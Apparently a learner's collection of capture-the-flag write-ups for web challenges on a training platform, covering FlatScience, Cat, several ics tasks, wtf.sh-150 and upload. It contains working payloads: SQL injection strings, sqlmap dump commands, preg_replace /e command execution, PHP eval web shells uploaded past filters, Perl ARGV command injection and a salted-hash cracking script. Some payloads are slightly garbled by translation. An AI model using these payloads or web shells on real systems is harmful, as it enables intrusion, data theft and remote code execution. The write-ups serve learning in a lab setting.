web advanced area
Continue to write the record of the offense and defense world, some skills still need to be written down, not written by buuctf
FlatScience
Confused and confused, check wp, first check robots.txt
Then try to visit and find that adding 'to login.php' gets an error message, the database is sqlite
View the source code to get hint, then add ?debug to get the source code
<?php if(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); if($res){ $row = $res->fetchArray(); } else{ echo "<br>Some Error occourred!"; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); } } if(isset($_GET['debug'])) highlight_file('login.php'); ?>
The sql injection point is located in the query function, and the sql feedback point is located in the setcookie function. It should be noted that the password is spliced with the salt 'Salz!' and then passed into the query logic after a sha1 hash. This also means that the "password" entry in the database stores the hash value of the password after salting.
The sql definition of the user table can be found by querying its global schema table sqlite_master (which stores the definitions of all tables, views, indexes, triggers, etc. in this database).
user='union select name,sql from sqlite_master --(sqlite comment is '- -')
Get Set-Cookie:
CREATE TABLE Users( id int primary key, name varchar(255), password varchar(255), hint varchar(255) )
Then you need to get id, name, password, hint:
usr=%27 UNION SELECT id, name from Users limit 0,1--
usr=%27 UNION SELECT id, password from Users limit 0,1--
usr=%27 UNION SELECT id, hint from Users limit 0,1--
If you log in, you should use the sha1 function and salt to find the password. The password is hidden in the professor's paper, so we need to crawl all the pdf s of the site and convert them to txt, and compare them one by one for blasting.
Use the master script to crawl the pdf:
import urllib.request import re allHtml=[] count=0 pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"") pat_html=re.compile("href=\"[0-9]/index\.html\"") def my_reptile(url_root,html): global pat_pdf global pat_html html=url_root+html if(isnew(html)): allHtml.append(html) print("[*]starting to crawl site:{}".format(html)) with urllib.request.urlopen(html) as f: response=f.read().decode('utf-8') pdf_url=pat_pdf.findall(response) for p in pdf_url: p=p[6:len(p)-1] download_pdf(html+p) html_url=pat_html.findall(response) for h in html_url: h=h[6:len(h)-11] my_reptile(html,h) def download_pdf(pdf): global count fd=open(str(count)+'.pdf','wb') count+=1 print("[+]downloading pdf from site:{}".format(pdf)) with urllib.request.urlopen(pdf) as f: fd.write(f.read()) fd.close() def isnew(html): global allHtml for h in allHtml: if(html==h): return False return True if __name__=="__main__": my_reptile("http://111.198.29.45:54969//",'')
After many errors during installation, I finally found that pdfminer3k is to be installed. It is recommended to use proxy installation:
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pdfminer3k
Convert pdf to txt script:
from pdfminer.pdfparser import PDFParser,PDFDocument from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import PDFPageAggregator from pdfminer.layout import LTTextBoxHorizontal,LAParams from pdfminer.pdfinterp import PDFTextExtractionNotAllowed import os def pdf2txt(pdfFile,txtFile): print('[+]converting {} to {}'.format(pdfFile,txtFile)) fd_txt=open(txtFile,'w',encoding='utf-8') fd_pdf=open(pdfFile,'rb') parser=PDFParser(fd_pdf) doc=PDFDocument() parser.set_document(doc) doc.set_parser(parser) doc.initialize() manager=PDFResourceManager() laParams=LAParams() device=PDFPageAggregator(manager,laparams=laParams) interpreter=PDFPageInterpreter(manager,device) for page in doc.get_pages(): interpreter.process_page(page) layout=device.get_result() for x in layout: if(isinstance(x,LTTextBoxHorizontal)): fd_txt.write(x.get_text()) fd_txt.write('\n') fd_pdf.close() fd_txt.close() print('[-]finished') def crazyWork(): print('[*]starting my crazy work') files=[] for f in os.listdir(): if(f.endswith('.pdf')): files.append(f[0:len(f)-4]) for f in files: pdf2txt(f+'.pdf',f+'.txt') if __name__=='__main__': crazyWork()
Finally, the password blasting is performed, and the script is as follows:
import os import hashlib def searchPassword(): print('[*]starting to search the word') for file in os.listdir(): if(file.endswith('.txt')): print('[+]searching {}'.format(file)) with open(file,'r',encoding='utf-8') as f: for line in f: words=line.split(' ') for word in words: if(hashlib.sha1((word+'Salz!').encode('utf-8')).hexdigest()=='3fab54a50e770d830c0416df817567662a9dc85c'): print('[@]haha,i find it:{}'.format(word)) exit() if __name__=='__main__': searchPassword()
Finally log in to admin to get the flag
References:
Offensive and defensive world-new web-FlatScience(python processing pdf, sqlite injection)-Hack.lu-2017
[CTF topic summary - web article] Offensive and defensive world: flatscience
Cat
Should start with a ping command and find:
- Normal URL, returns ping result
- Illegal URL, special symbol, return Invalid URL
Here Django debugging mode is turned on, and it is found that if the value in the input box contains url encoding, requesting characters larger than %7F in ?url= will cause Django to report an error.
Enter?url=%80 in the url, you can get the error page:
Get information:
Request Method: POST Request URL: http://127.0.0.1:8000/api/ping Django Version: 1.10.4 Exception Type: UnicodeEncodeError Python Executable: /usr/bin/python Python Version: 2.7.12
It is a station that calls Python from PHP. PHP sends data to django's station through CURL, then you can use @ for file transfer. If the above-mentioned characters beyond the encoding range are included in the file content, an error message will be generated. In fact, it contains Chinese. will report an error
ctrl+f search sql to get
Use ?url=@/opt/api/database.sqlite3
refer to: Offensive and defensive world writeup - Web (continuously updated)
ics-04
Topic description: There are loopholes in the newly added login and registration pages of the industrial control cloud management system, please find the flag
Attempt to find admin failed, found that sql injection can be found at the password recovery
admin' or 1=1#
-1' union select 1,2,3,4#
The injection point is 3, and the query database finds that there is no echo, then run it with sqlmap
python2 sqlmap.py -u "http://111.198.29.45:48163/findpwd.php" --data="username=1" --dbs
Finally get the account and password:
python2 sqlmap.py -u "http://111.198.29.45:48163/findpwd.php" --data="username=1" -D cetc004 -T user -C "username,password" --dump
Then go to re-register a c3tlwDmIn23 account and log in
ics-05
Title description: Other saboteurs will use the backdoor of the industrial control cloud management system equipment maintenance center to invade the system
It is found that only the equipment maintenance center can be entered, and the source code can be viewed:
It is found that a file contains a vulnerability, and the pseudo-protocol reads the source code to obtain key information
?page=php://filter/read=convert.base64-encode/resource=index.php
<?php //It is convenient to realize the function of input and output, and the function under development can only be tested by internal personnel if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>
Vulnerability of function preg_replace(): When the parameter pattern of pre_replace is entered with /e, the code of parameter replacement is executed as PHP code
Then modify the XFF header and enter in index.php:
?pat=/1/e&rep=system("ls /");&sub=1
Find the flag next
?pat=/1/e&rep=system("find -name flag");&sub=1
?pat=/1/e&rep=system("ls ./s3chahahaDir/flag");&sub=1
last? pat=/1/e&rep=show_ source("./s3chahahaDir/flag/flag.php");& Sub=1 get the source code directly or
? pat=/1/e&rep=system("cat ./s3chahahaDir/flag/flag.php");& Sub=1, and check the source code get flag
bug
At first I thought it was a secondary injection, but the result returned wrong, so I can only register an account to see
Capture the packet at the modified password, change the username to admin, successfully modify the admin password, and log in
Modify the XFF header to 127.0.0.1, enter the message, and check the source code to get a prompt
After reading wp, I found that it was a file upload? module=filemanage&do=upload
Yes <? PHP, changed to <script language= "PHP" > @eval ($\u post['pass'])</ script>
And the uploaded suffix is php5, and the flag is successfully obtained
ics-07
Topic description: Analysis vulnerability of project management page of industrial control cloud management system
Click view-source to get the source code
<?php session_start(); if (!isset($_GET[page])) { show_source(__FILE__); die(); } if (isset($_GET[page]) && $_GET[page] != 'index.php') { include('flag.php'); }else { header('Location: ?page=flag.php'); } ?>
<?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?> <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?>
After reading the master's article, the floating-point value of the id passed in first cannot be 1, and the last digit must be 9, so id=1a9 can be constructed
Then the file needs to be uploaded, but the suffix is filtered by the regular, and chdir is used to change the directory to uploaded. Since the regular judges the characters after ., use /. to add an empty directory under the file name directory, which is equivalent to not adding, but wrapping around past the norm. The upload path of the topic is: /uploaded/backup/
Post submit file=a.php/& con=<? php @eval($_POST['pass']);?>
Finally, the ant sword can be connected
The upload path here is still a bit confusing, shouldn't it be uploaded? . . . .
refer to:
Offensive and defensive world web advanced ics-07
ics-07 of XCTF
i-got-id-200
I found that it was the content of perl, and after watching wp, the background logic of the master's guess:
use strict; use warnings; use CGI; my $cgi= CGI->new; if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' ); while ( <$file> ) { print "$_"; } }
At the file uploading place, the content of the uploaded file will be output below. It is guessed that the param() function should be used in the background. If an ARGV file is passed in, then Perl will read the passed parameter as the file name to achieve reading Purpose of any file
Guess existence /flag
Normally: Guess file.pl is located in the /var/www/cgi-bin/ directory based on the URL
Execute the command?/bin/bash%20-c%20ls${IFS}/|, %20 is a space and can be replaced with a + sign
Finally get flag?/bin/bash%20-c%20cat${IFS}/flag|
refer to: [wp] Attack and Defense World-i-got-id-200
xctf-i-got-id-200(perl web page file + ARGV upload causes arbitrary file reading)
wtf.sh-150
No idea, look at wp. I haven't seen wtf, so I wrote it according to wp
The first flag
The path traversal vulnerability is found under post.wtf on the page displaying the article, the source code of the website is obtained, and the flag is found to get:
<html> <head> <link rel="stylesheet" type="text/css" href="/css/std.css" > </head> $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo "<h3>${username}'s posts:</h3>"; $ echo "<ol>"; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}"); $ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>"; $ done $ echo "</ol>"; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi </html>
When you log in with admin, you can get flag1. After finding that there is a users directory, you can get the cookie of admin.
Then use admin's cookie to log in to get half of the flag
Second paragraph flag
In the comment function, if the user name is a piece of executable code, and the written file is in wtf format, then this file can execute the code we want
Registered user: ${find,/,-iname,get_flag2}
%09 is a horizontal tab, which must be added, otherwise the background will parse our backdoor as a directory
Finally get the content, registered user: $/usr/bin/get_flag2
refer to: wtf.sh-150 of advanced attack and defense world WEB
Record a fairy CTF-wtf.sh-150
upload
I tried to upload various files and found that only jpg was uploaded successfully. Check wp and found that it was injection? ? ? ? ? ?
Due to filtering, double-write bypass using selectect and frfromom.
s'+(selselectect CONV(substr(hex(database()),1,12),16,10))+'.jpg
CONV,substr,hex are used here:
If it is not converted into a number, there is no echo at all, so use hex to convert the characters into hexadecimal first, and then use the CONV function to convert the hexadecimal to decimal, obtain the 12 digits of the substring in turn, and use substr to intercept 12 is Because once it is too long, it will be expressed in scientific notation.
s'+(selectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg to get the second half
Then convert to hexadecimal to get web_upload
s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg get hello_flag_is_here s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg get i_am_flag s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg get!!_@m_Th.e_F!lag
This question is more difficult to think about, and the conversion of characters into numbers is very clever, which is really persuasive. . . .
refer to:
Offensive and defensive world advanced upload
Offensive World upload
ics-02 (unfinished)
I got a pdf document, I don't know what to do, I need to scan it to see wp
Found a secret directory
If you cannot directly access secret_debug.php, you can use ssrf to access secret_debug.php
refer to:
[wp] Offensive World ics-02